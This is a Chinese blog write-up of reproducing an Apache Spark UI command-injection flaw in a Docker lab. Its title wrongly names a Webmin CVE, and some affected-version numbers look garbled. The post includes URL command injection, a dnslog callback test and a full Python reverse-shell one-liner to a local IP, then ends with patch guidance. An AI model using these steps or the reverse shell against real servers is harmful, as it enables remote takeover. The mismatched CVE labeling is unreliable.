CVE-2022-0824 Webmin 远程代码执行

0x00 简介

Apache Spark 是专为大规模数据处理而设计的快速通用的计算引擎。与 Hadoop 不同,Spark 和 Scala 能够紧密集成,其中的 Scala 可以像操作本地集合对象一样轻松地操作分布式数据集。spark除了能够提供交互式查询外,它还可以优化迭代工作负载。

0x01 漏洞概述

该漏洞是由于Apache Spark UI提供了通过配置选项spark.acls.enable启用ACL的可能性,HttpSecurityFilter中的代码路径可以通过提供任意用户名来允许某人执行模拟。恶意用户凭借访问权限检查函数最终将基于其输入构建Unix shell命令并执行它。成功利用此漏洞可导致任意shell命令执行。

0x02 影响版本

3.03版本之前

3.11到3.12版本

3.20版本到3.21

0x03 环境搭建

在github上找到yml文件,直接用docker拉取镜像

https://github.com/HuskyHacks/cve-2022-33891/spark

fig:

进入docker

sudo docker exec -it spark_spark_1 /bin/bash

要启用spark.acls.enable

echo "spark.acls.enable true" >> conf/spark-defaults.conf

fig:

cat确认一下是否完成修改

fig:

退出spark镜像,重启spark

fig:

访问靶机ip:8080,环境搭建完成

fig:

0x04 漏洞复现

在url中拼接命令,get传参到服务器即可

fig:

在docker中查看,创建文件命令执行成功

fig:

继续用dnslog测试,发现可以远程回显

fig:

fig:

spark中有python3的环境,尝试执行python的反弹shell

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.114",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

fig:

反弹成功

fig:

0x05 修复方式

升级到 Apache Spark 安全版本:3.1.3、3.2.2 或 3.3.0 或更高版本

参考链接:

https://github.com/HuskyHacks/cve-2022-33891

https://blog.csdn.net/qq_42660246/article/details/125902229

posted @ 2023-03-22 22:02  C10ud  阅读(191)  评论(0编辑  收藏  举报